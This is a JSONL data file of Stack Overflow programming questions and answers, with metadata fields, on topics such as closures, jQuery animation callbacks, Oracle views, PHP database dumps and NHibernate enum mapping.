{"id": "hf_947952138bae", "question": "<p>Short of using a profiler, is there any way inside a running program to detect first chance exceptions?  Ideally, I would like to record more detailed state information that is not available once the catch block has taken over the final exception.</p>\n", "question_body": "", "answer": "I think the only way you can get that information in .NET is using a Debugger.\nOtherwise, you'll have to develop a solution yourself for saving the state of a stackframe and having a special way to log exceptions. You'd basically be doing the same things that a memory profiler does, keep track of the instances that are created.  This would be a huge performance hit though unless you limit the amount of information you are logging.\nA better solution would be to use the Trace and Assert capabilities in the System.Diagnostics namespace to selectively trace the program state, or to use a logging facility (log4net, EnterpriseLibrary, NLog, roll your own simple one) to dump thread / stack / variable information as you go.\nIn any case, adding all this extra information is a big overhead.\nEDIT: I got news of this project in my feed:\nNTrace\n.  It looks like it will fit a little more of what you're trying to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.602621"}
{"id": "hf_03200d5c0408", "question": "<p>I have seen samples of closure from - <a href=\"https://stackoverflow.com/questions/36636/what-is-a-closure\">What is a &#39;Closure&#39;?</a></p>\n\n<p>Can anyone provide simple example of when to use closure?<br></p>\n\n<p><b>Specifically, scenarios in which closure makes sense?</b><Br></p>\n\n<p>Lets assume that the language doesn't have closure support, how would one still achieve similar thing?</p>\n\n<p>Not to offend anyone, please post code samples in a language like c#, python, javascript, ruby etc. <br>I am sorry, I do not understand functional languages yet.</p>\n", "question_body": "", "answer": "Typically, if one doesn't have closures, one must define a class to carry with it the equivalent of the closure's environment, and pass it around.\nFor example, in a language like Lisp, one can define a function that returns a function (with a closed-over environment) to add some predefined amount to its argument thusly:\n```\n```\n(defun make-adder (how-much)\n  (lambda (x)\n    (+ x how-much)))\n```\n```\nand use it like this:\n```\n```\ncl-user(2): (make-adder 5)\n#<Interpreted Closure (:internal make-adder) @ #x10009ef272>\ncl-user(3): (funcall * 3)     ; calls the function you just made with the argument '3'.\n8\n```\n```\nIn a language without closures, you would do something like this:\n```\n```\npublic class Adder {\n  private int howMuch;\n\n  public Adder(int h) {\n    howMuch = h;\n  }\n\n  public int doAdd(int x) {\n    return x + howMuch;\n  }\n}\n```\n```\nand then use it like this:\n```\n```\nAdder addFive = new Adder(5);\nint addedFive = addFive.doAdd(3);\n// addedFive is now 8.\n```\n```\nThe closure implicitly carries its environment with it; you seamlessly refer to that environment from inside the executing part (the lambda). Without closures you must make that environment explicit.\nThat should explain to you when you would use closures:\nall the time\n. Most instances where a class is instantiated to carry with it some state from another part of the computation and apply it elsewhere are elegantly replaced by closures in languages which support them.\nOne can implement an object system with closures.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.699773"}
{"id": "hf_79249a7085ab", "question": "<p>I'm trying to set up a loop where an animation runs a certain number of times, and a function is run before each iteration of the animation.  The timing ends up being off, though -- it runs the callback n times, then runs the animation n times. For example:</p>\n\n<pre><code>for (var i=0;i&lt;3;i++) {\n  console.log(i);\n  $('#blerg').animate({top:'+=50px'},75,'linear', function(){log('animated')});\n}\n</code></pre>\n\n<p>outputs</p>\n\n<pre><code>0\n1\n2\nanimated\nanimated\nanimated\n</code></pre>\n\n<p>I ran into this problem with scriptaculous before I switched to jquery, and discovered a \"beforeSetup\" animation callback.  Is there a jquery equivalent?</p>\n", "question_body": "", "answer": "The animation is asynchronous. So the loops runs through pretty quickly, starting off three animations and outputting 1, 2 and 3. After a while the animations complete and output animated x 3. That would explain your output.\nHow about some recursion?\n```\n```\ndo_animation(max_runs, total_runs) {\n   log();\n   if (total_runs < max_runs) {\n       $(foo).animate(..., do_animation(max_runs, ++total_runs));\n    }\n}\n```\n```\ndo_animation(3, 0);\nGive that a try and let me know how it runs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.726814"}
{"id": "hf_38d02baaa732", "question": "<p>I want to see how long a function takes to run. What's the easiest way to do this in PLT-Scheme? Ideally I'd want to be able to do something like this:</p>\n\n<pre><code>&gt; (define (loopy times)\n  (if (zero? times)\n      0\n      (loopy (sub1 times)))) \n&gt; (loopy 5000000)\n0                      ;(after about a second)\n&gt; (timed (loopy 5000000))\nTook: 0.93 seconds\n0\n&gt; \n</code></pre>\n\n<p>It doesn't matter if I'd have to use some other syntax like <code>(timed loopy 5000000)</code> or <code>(timed '(loopy 5000000))</code>, or if it returns the time taken in a cons or something.</p>\n", "question_body": "", "answer": "Found it...\nFrom the\nonline documentation\n:\n```\n(time-apply proc arg-list)\n```\ninvokes the procedure proc with the arguments in arg-list. Four values are returned: a list containing the result(s) of applying proc, the number of milliseconds of CPU time required to obtain this result, the number of ``real'' milliseconds required for the result, and the number of milliseconds of CPU time (included in the first result) spent on garbage collection.\nExample usage:\n```\n```\n> (time-apply loopy '(5000000))\n(0)\n621\n887\n0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.776021"}
{"id": "hf_9e12ee4fac79", "question": "<p>What is a view in Oracle?</p>\n", "question_body": "", "answer": "A\nView in Oracle\nand in other database systems is simply the representation of a SQL statement that is stored in memory so that it can easily be re-used. For example, if we frequently issue the following query\n```\n```\nSELECT customerid, customername FROM customers WHERE countryid='US';\n```\n```\nTo create a view use the\nCREATE VIEW command\nas seen in this example\n```\n```\nCREATE VIEW view_uscustomers\nAS\nSELECT customerid, customername FROM customers WHERE countryid='US';\n```\n```\nThis command creates a new view called view_uscustomers. Note that this command does not result in anything being actually stored in the database at all except for a data dictionary entry that defines this view. This means that every time you query this view, Oracle has to go out and execute the view and query the database data. We can query the view like this:\n```\n```\nSELECT * FROM view_uscustomers WHERE customerid BETWEEN 100 AND 200;\n```\n```\nAnd Oracle will transform the query into this:\n```\n```\nSELECT * \nFROM (select customerid, customername from customers WHERE countryid='US') \nWHERE customerid BETWEEN 100 AND 200\n```\n```\nBenefits of using Views\nCommonality of code being used. Since a view is based on one common set of SQL, this means that when it is called it’s less likely to require parsing.\nSecurity. Views have long been used to hide the tables that actually contain the data you are querying. Also, views can be used to restrict the columns that a given user has access to.\nPredicate pushing\nYou can find advanced topics in this article about \"\nHow to Create and Manage Views in Oracle\n.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.842959"}
{"id": "hf_13303947cdbf", "question": "<p>In most versions of windows, you can get to the menu by pressing the F10 key, thus avoiding having to use the mouse.  This behaviour does not appear to be present in Windows Mobile 5.0, but is desirable as the device I am using will be more keyboard than touch screen driven.  </p>\n\n<p>Is there a way of programmatically activating and using the menu on Windows Mobile 5.0, under C++ using either MFC or Windows API calls.  I have tried setting the focus of the CFrameWnd and CCeCommandBar classes to no avail.</p>\n", "question_body": "", "answer": "After a number of attempts, the following appears to work;\n```\n```\nvoid CMyFrame::OnFocusMenu()\n{\n  PostMessage(WM_SYSCOMMAND,SC_KEYMENU,0);\n}\n```\n```\nFWIW, none of the following did, where m_wndCommandBar is the CCeCommandBar toolbar containing the menu;\n```\n```\n::SetActiveWindow(m_wndCommandBar.m_hWnd);\nm_wndCommandBar.PostMessage(WM_ACTIVATE,WA_ACTIVE,0);\nm_wndCommandBar.PostMessage(WM_LBUTTONDOWN,0,0);\nm_wndCommandBar.PostMessage(WM_LBUTTONUP,0,0);\nm_wndCommandBar.OnActivate(WA_ACTIVE, NULL, FALSE);\nm_wndCommandBar.SetFocus();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.903071"}
{"id": "hf_cb7050552c20", "question": "<p>We are using Subversion. We would like to  </p>\n\n<pre><code>1. search across all commit messages ?\n2. monitor the commits on certain important files ?\n3. identify files that are never/rarely used ?\n4. identify files that are most frequently changed ?         \n5. identify files that most developers have accessed ?\n6. identify files that have been committed together many number of times ?\n</code></pre>\n\n<p>The usage of these data could be to weed out messages like <a href=\"https://stackoverflow.com/questions/216876/what-is-the-best-commit-message-you-have-ever-encountered#255762\">these</a>, to refactor code and clean up the project of unused files. </p>\n\n<p>Please suggest tools to achieve the same.. </p>\n\n<p><b>EDIT:</b> We run SVN on Windows 2003.</p>\n", "question_body": "", "answer": "What platform are you using?  On linux, a quick shell script using\n```\nsed\n```\nshould do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.925104"}
{"id": "hf_e3070da6cb54", "question": "<p>In C++, is it safe to extend scope via a reference?</p>\n\n<p>In code, what I mean is: </p>\n\n<pre><code>MyCLass&amp; function badIdea()\n{\n    MyClass obj1;\n    ...\n    return obj1;\n}\n</code></pre>\n", "question_body": "", "answer": "Please clarify what you do mean.\nAssuming you intend to do this:\n```\n```\nint * p = NULL;\n{\n  int y = 22;\n  p = &y;\n}\n*p = 77; // BOOM!\n```\n```\nThen no, absolutely not, scope does not get extended by having a reference.\nYou may want to look at smart pointers, e.g. from boost libraries:\nclickety", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.948667"}
{"id": "hf_525e8328aee9", "question": "<p>I have a regular expression to match a persons name.</p>\n\n<p>So far I have ^([a-zA-Z\\'\\s]+)$ but id like to add a check to allow for a maximum of 4 spaces. How do I amend it to do this?</p>\n\n<p><strong>Edit:</strong> what i meant was 4 spaces anywhere in the string</p>\n", "question_body": "", "answer": "Screw the regex.\nUsing a regex here seems to be creating a problem for a solution instead of just solving a problem.\nThis task should be 'easy' for even a novice programmer, and the novel idea of regex has polluted our minds!.\n```\n```\n1: Get Input    \n2: Trim White Space\n3: If this makes sence, trim out any 'bad' characters. \n4: Use the \"split\" utility provided by your language to break it into words\n5: Return the first 5 Words.\n```\n```\nROCKET SCIENCE.\nreplies\nwhat do you mean screw the regex? your obviously a VB programmer. \n  Regex is the most efficient way to work with strings. Learn them.\nNo. Php, toyed a bit with ruby, now going manically into perl.\nThere are some thing ( like this case ) where the regex based alternative is computationally and logically exponentially overly complex for the task.\nI've parse entire php source files with regex, I'm not exactly a novice in their use.\nBut there are many cases, such as this, where you're employing a logging company to prune your rose bush.\nI could do all steps 2 to 5 with regex of course, but they would be simple and atomic regex, with no weird backtracking syntax or potential for recursive searching.\nThe steps 1 to 5 I list above have a known scope, known range of input, and there's no ambiguity to how it functions. As to your regex, the fact you have to get contributions of others to write something so simple is proving the point.\nI see somebody marked my post as offensive, I am somewhat unhappy I can't mark this fact as offensive to me. ;)\nProof Of Pudding:\n```\n```\nsub getNames{\n    my @args = @_;\n    my $text = shift @args;\n    my $num  = shift @args;\n\n    # Trim Whitespace from Head/End\n    $text =~ s/^\\s*//;\n    $text =~ s/\\s*$//;\n\n    # Trim Bad Characters (??)\n    $text =~ s/[^a-zA-Z\\'\\s]//g;\n\n    # Tokenise By Space \n    my @words = split( /\\s+/, $text );\n\n    #return 0..n \n    return @words[ 0 .. $num - 1 ];\n} ## end sub getNames\n\nprint join \",\", getNames \" Hello world     this is a    good test\", 5;\n>> Hello,world,this,is,a\n```\n```\nIf there is anything ambiguous to anybody how that works, I'll be glad to explain it to them. Noted that I'm still doing it with regexps. Other languages I would have used their native \"trim\" functions provided where possible.\nBollocks -->\nI first tried this approach. This is your brain on regex. Kids, don't do regex.\nThis might be a good start\n```\n```\n/([^\\s]+\n    (\\s[^\\s]+\n      (\\s[^\\s]+\n        (\\s[^\\s]+\n          (\\s[^\\s]+|)\n         |)\n       |)\n    |)\n  )/\n```\n```\n( Linebroken for clarity )\n```\n```\n/([^\\s]+(\\s[^\\s]+(\\s[^\\s]+(\\s[^\\s]+|)|)|))/\n```\n```\n( Actual )\nI've used\n```\n[^\\s]+\n```\nhere instead of your A-Z combo for succintness, but the point is here the nested optional groups\nie:\n```\n```\n(Hello( this( is( example))))\n(Hello( this( is( example( two)))))\n(Hello( this( is( better( example))))) three\n(Hello( this( is()))))\n(Hello( this()))\n(Hello())\n```\n```\n( Note: this, while being convoluted, has the benefit that it will match each name into its own group )\nIf you want readable code:\n```\n```\n$word = '[^\\s]+'; \n  $regex = \"/($word(\\s$word(\\s$word(\\s$word(\\s$word|)|)|)|)|)/\";\n```\n```\n( it anchors around the  (capture|)  mantra of \"get this, or get nothing\" )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.994487"}
{"id": "hf_b19f81495aad", "question": "<p>The situation is somewhat like-</p>\n\n<pre><code>var someVar = some_other_function();\nsomeObj.addEventListener(\"click\", function(){\n    some_function(someVar);\n}, false);\n</code></pre>\n\n<p>The problem is that the value of <code>someVar</code> is not visible inside the listener function of the <code>addEventListener</code>, where it is probably being treated as a new variable.</p>\n", "question_body": "", "answer": "There is absolutely nothing wrong with the code you've written. Both\n```\nsome_function\n```\nand\n```\nsomeVar\n```\nshould be accessible, in case they were available in the context where anonymous\n```\n```\nfunction() { some_function(someVar); }\n```\n```\nwas created.\nCheck if the alert gives you the value you've been looking for, be sure it will be accessible in the scope of anonymous function (unless you have more code that operates on the same\n```\nsomeVar\n```\nvariable next to the call to\n```\naddEventListener\n```\n)\n```\n```\nvar someVar; \nsomeVar = some_other_function();\nalert(someVar);\nsomeObj.addEventListener(\"click\", function(){\n    some_function(someVar);\n}, false);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.019110"}
{"id": "hf_62ff6754d52c", "question": "<p>I have extensively used Prototype before and it helped us add considerable interactivity to our web applications. However we are looking at making the move to use jQuery in order to standardize on something better supported in Visual Studio.</p>\n\n<p>I understand that we can use the jQuery.noConflict to run it alongside Prototype, but we would like to avoid having users need to download both libraries to use our website.</p>\n\n<p>So, is there a good resource that can help us move old scripts from Prototype to jQuery?</p>\n", "question_body": "", "answer": "I can't really help you too much with your question, other than to say that I haven't heard of any such tool, and that I'd be really surprised if one actually existed.\nWhile I think jQuery is a great library, and that you're right to be wanting to only use one library, just remember that the cost of you changing over all your scripts is going to be many many hours of work. The cost of your users downloading an extra 30kb of scripts is going to be roughly 0.3 seconds. Perhaps try to slowly phase out Prototype and only refactor your existing pages when a) you have to, or b) if you've got nothing better to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.042533"}
{"id": "hf_dc97427d7993", "question": "<p>A few days ago, I asked <a href=\"https://stackoverflow.com/questions/242577/c-what-is-string-really-good-for\">why its not possible to store binary data, such as a jpg file into a string variable</a>.</p>\n\n<p>Most of the answers I got said that string is used for textual information such as what I'm writing now.</p>\n\n<p>What is considered textual data though? Bytes of a certain nature represent a jpg file and those bytes could be represented by character byte values...I think. So when we say strings are for textual information, is there some sort of range or list of characters that aren't stored?</p>\n\n<p>Sorry if the question sounds silly. Just trying to 'get it'</p>\n", "question_body": "", "answer": "Depends on the language. For example in Python string types (str) are really byte arrays, so they can indeed be used for binary data.\nIn C the NULL byte is used for string termination, so a sting cannot be used for arbitrary binary data, since binary data could contain null bytes.\nIn C# a string is an array of chars, and since a char is basically an alias for 16bit int, you can probably get away with storing arbitrary binary data in a string. You might get errors when you try to display the string (because some values might not actually correspond to a legal unicode character), and some operations like case conversions will probably fail in strange ways.\nIn short it might be possible in some langauges to store arbitrary binary data in strings, but they are not designed for this use, and you may run into all kinds of unforseen trouble. Most languages have a byte-array type for storing arbitrary binary data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.077649"}
{"id": "hf_57bed11db3fc", "question": "<p>A common pattern in C++ is to create a class that wraps a lock - the lock is either implicitly taken when object is created, or taken explicitly afterwards. When object goes out of scope, dtor automatically releases the lock.\nIs it possible to do this in C#? As far as I understand there are no guarantees on when dtor in C# will run after object goes out of scope.</p>\n\n<p>Clarification:\nAny lock in general, spinlock, ReaderWriterLock, whatever.\nCalling Dispose myself defeats the purpose of the pattern - to have the lock released as soon as we exit scope - no matter if we called return in the middle, threw exception or whatnot.\nAlso, as far as I understand using will still only queue object for GC, not destroy it immediately...</p>\n", "question_body": "", "answer": "It's true that you don't know exactly when the dtor is going to run... but, if you implement the IDisposable interface, and then use either a 'using' block or call 'Dispose()' yourself, you will have a place to put your code.\nQuestion: When you say \"lock\", do you mean a thread lock so that only one thread at a time can use the object? As in:\n```\n```\nlock (_myLockKey) { ... }\n```\n```\nPlease clarify.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.112283"}
{"id": "hf_342b4943c24f", "question": "<p>How do you create non scrolling div that looks like the MS Office 2007 ribbon on a web page without two sets of scroll bars. One for the window and one for the div.</p>\n", "question_body": "", "answer": "Use a fixed position\n```\n<div>\n```\nelement, that has 100% width and a high\n```\nz-index\n```\n.\nYou'll also want to ensure that that the start of your scrolling content isn't obscured by the fixed\n```\n<div>\n```\n, until you start scrolling down, by putting this in another\n```\n<div>\n```\nand positioning this appropriately.\n```\n```\n<body>\n    <div style=\"position: fixed; top: 0px; width:100%; height: 100px;\">\n        HEader content goes here\n    </div>\n    <div style=\"margin-top: 100px;\">\n        Main content goes here\n    </div>\n</body>\n```\n```\nNote the the height of the first\n```\n<div>\n```\n, and the top margin of the second, will need to be adjusted to suit your needs.\nP.S. This doesn't work in IE7, for some reason, but it's a good starting point, and I'm sure that you can work out some variation on this theme, that works in the way that you want it to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.147343"}
{"id": "hf_04e038dfe0ff", "question": "<p>In RoR,how to validate a Chinese or a Japanese word for a posting form with utf8 code.</p>\n\n<p>In GBK code, it uses [\\u4e00-\\u9fa5]+ to validate Chinese words.\nIn Php, it uses /^[\\x{4e00}-\\x{9fa5}]+$/u for utf-8 pages.</p>\n", "question_body": "", "answer": "Ruby 1.8 has poor support for UTF-8 strings. You need to write the bytes individually in the regular expression, rather then the full code:\n```\n```\n>> \"acentuação\".scan(/\\xC3\\xA7/)\n=> [\"ç\"]\n```\n```\nTo match the range you specified the expression will become a bit complicated:\n```\n```\n/([\\x4E-\\x9E][\\x00-\\xFF])|(\\x9F[\\x00-\\xA5])/  # (untested)\n```\n```\nThat will be improved in Ruby 1.9\n, though.\nEdit:\nAs noted in the comments, the unicode characters \\u4E00-\\u9FA5 only map to the expression above in the UTF16-BE encoding. The UTF8 encoding is likely different. So you need to analyze the mapping carefully and see if you can come up with a byte-matching expression for Ruby 1.8.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.171088"}
{"id": "hf_334ab0a0d3c0", "question": "<p>What, if any, is the performance difference between the following two loops?</p>\n\n<pre><code>for (Object o: objectArrayList) {\n    o.DoSomething();\n}\n</code></pre>\n\n<p>and </p>\n\n<pre><code>for (int i=0; i&lt;objectArrayList.size(); i++) {\n    objectArrayList.get(i).DoSomething();\n}\n</code></pre>\n", "question_body": "", "answer": "From Item 46 in\nEffective Java\nby Joshua Bloch :\nThe for-each loop, introduced in\n  release 1.5, gets rid of the clutter\n  and the opportunity for error by\n  hiding the iterator or index variable\n  completely. The resulting idiom\n  applies equally to collections and\n  arrays:\n```\n```\n// The preferred idiom for iterating over collections and arrays\nfor (Element e : elements) {\n    doSomething(e);\n}\n```\n```\nWhen you see the colon (:), read it as\n  “in.” Thus, the loop above reads as\n  “for each element e in elements.” Note\n  that there is no performance penalty\n  for using the for-each loop, even for\n  arrays. In fact, it may offer a slight\n  performance advantage over an ordinary\n  for loop in some circumstances, as it\n  computes the limit of the array index\n  only once. While you can do this by\n  hand (Item 45), programmers don’t\n  always do so.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.217704"}
{"id": "hf_88476c130ede", "question": "<p>How do i backup a SQL database using PHP.</p>\n\n<p>Is there a vendor agnostic way to do this that conforms to ANSI SQL?</p>\n\n<p>If not maybe you can list how to do it for each of the database vendors?</p>\n", "question_body": "", "answer": "Every database system comes with some program for dumping its contents.\nPostgreSQL:\n```\npg_dump\n```\nMySQL:\n```\nmysqldump\n```\n...\nYou can simply call that program from PHP using\n```\nsystem()\n```\nor\n```\nshell_exec()\n```\n.\nFor example, if you use PostgreSQL with enabled\nIdent authentication\nand want to dump the Database\n```\ntest\n```\ndirectly as SQL text to the browser, it's as simple as:\n```\n```\n<?php\nheader('Content-type: text/plain');\nsystem('pg_dump test');\n?>\n```\n```\nWhen using MySQL with database user and password stored into\n```\n~/.my.cnf\n```\n, it is also very simple:\n```\n```\n<?php\nheader('Content-type: text/plain');\nsystem('mysqldump test');\n?>\n```\n```\nHowever,\ndon't do this:\n```\n```\n<?php\nheader('Content-type: text/plain');\nsystem('mysqldump -utestuser -p\ntestpassword\ntest');\n?>\n```\n```\nbecause transmitting a password as command line argument is\nvery insecure\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.252256"}
{"id": "hf_6992fe284970", "question": "<p>I'm using <a href=\"http://www.codeplex.com/bizunit\" rel=\"noreferrer\" title=\"BizUnit\">BizUnit</a> to unit-tests my Biztalk orchestrations, but some orchestrations consume a WebService,and testing these seems more like integration testing than unit testing.</p>\n\n<p>I'm familiar with using a mocking framework to mock the generated proxy objects, in order to test a web service from a Windows Forms application, but I would like to be able to do it in a more integrated way in a request-response port?</p>\n\n<p>How would you approach this problem?</p>\n", "question_body": "", "answer": "This is a very interesting question that I still haven't seen a good generic answer to. Some people suggest using SoapUI but I haven't had time to actually test that yet.\nThis page\nmight be interesting on that.\nAnother way might be to somehow wrap the WebDev.WebHost.dll and use that ... Phil Hakkck discusses that in\nthis post\n.\nIt's also be discussed before on SO\nhere\n.\nPlease let us know if you find another solution to this!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.287204"}
{"id": "hf_71217297a4a5", "question": "<p>Does anyone have a recommendation about web service security architecture in Java (preferably under JBoss)?  Any recommended reading?</p>\n\n<p>I want to expose a fairly rich web service to the world but the data are sensitive and it requires authentication from the current client (Flex), accessed via RPC.  I definitely do not want any server-side session state.  </p>\n\n<p>What's the best way to go about implementing security through web services in Java/JBoss and where can I read about it?</p>\n", "question_body": "", "answer": "For web services security in JBoss, I would start by reading\n8.4 WS-Security\nof the\nJBossWS User Guide\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.310496"}
{"id": "hf_7812c90d3260", "question": "<p>In the C language, using keyboard interrupt, how can I display an alternate key from what the user typed? E.g., when I press 'Q' on the keyboard, then the screen should display 'A'.</p>\n", "question_body": "", "answer": "We need a little more information about Your environment.\nAs far as I understand Your question, You want to replace the\nkeyboard interrupt handler with Your own in this way:\nSave the entry address of the original keyboard handler.\nInstall Your own that calls the original and manipulates the keycode value.\nHowever, on most modern operating systems it is much easier to define and install a new keyboard layout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.333522"}
{"id": "hf_6f98f6ca2d74", "question": "<p>Is there a way of getting the websites absolute URL (<a href=\"http://www.domain.com/\" rel=\"nofollow noreferrer\">http://www.domain.com/</a>) using Java? because I've googled a bit but I only come across with having to make 2 or 3 classes to create that function =/</p>\n<h3>Update:</h3>\n<p>The thing is I am trying to create a crawler that will give me some information and among that I'd like to get the URL of the webpage it's getting the information from. I'm developing this in JAVA and what I meant to say was that I was wondering if there was some getUrl(); or any method like that to get me the Url, because I know it can be done but I've only done it writing a whole other class to retrieve the url and then inherit it and use it further...hope it made it clearer</p>\n", "question_body": "", "answer": "The question is not really clear, but I'll make the assumption that you are trying to get the path from within a Servlet.\n```\n```\nString realPath = getServletConfig().getServletContext().getRealPath(relativePath);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.391870"}
{"id": "hf_28d6416e0664", "question": "<p>I'm new to PHP and before I waste a lot of time doing things the hard way, I wanted to find out if there are shortcuts/techniques to creating PHP web forms apps.  All this app will do is display web forms with data from 1 or more tables.  In addition to displaying data, the user must be able to update the form and add new data to the forms.  I know how to to do all this by manually writing all the PHP/HTML code.  But I'm looking for anything that can save me time.</p>\n\n<p>Unfortunately, I can't use any of the fancy PHP libraries such as CakePHP for this.   I'm restricted to using the core PHP framework, Oracle for the database and the OCI library for Oracle access.  </p>\n\n<p>Given these constraints, what the easiest way to support CRUD operations in a basic PHP forms app?  Are there code generators or other tools that can help?</p>\n", "question_body": "", "answer": "Unfortunately, I can't use any of the fancy PHP libraries such as CakePHP for this. I'm restricted to using the core PHP framework,\nMost PHP frameworks are written in PHP. So you wouldn't have to install anything to use them.\nThat said, forms are rather non-trivial. Treating a form as a separate component only works to some extend. Because of that, many frameworks have forms deeply integrated into them, and not as a standalone component.\nYou could take a peek at Zend Framework's (now known as\nLaminas\n)\nForm component\n. It's fairly self-sufficient and feature-rich.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.461552"}
{"id": "hf_efadf623e8cf", "question": "<p>Is there a way to persist an enum to the DB using NHibernate? That is have a table of both the code and the name of each value in the enum.</p>\n\n<p>I want to keep the enum without an entity, but still have a foreign key (the int representation of the enum) from all other referencing entities to the enum's table.</p>\n", "question_body": "", "answer": "An easy but not so beautiful solution:\nCreate an integer field with and set the mapping in the mapping file to the field. \nCreate a public property that uses the integer field.\n```\n```\nprivate int myField;\npublic virtual MyEnum MyProperty\n{\n   get { return (MyEnum)myField; }\n   set { myField = value; }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.484697"}
{"id": "hf_245d3965fefe", "question": "<p>I want to do this using the <code>Math.Round</code> function</p>\n", "question_body": "", "answer": "Try this:\n```\n```\ntwoDec = Math.Round(val, 2)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.518736"}
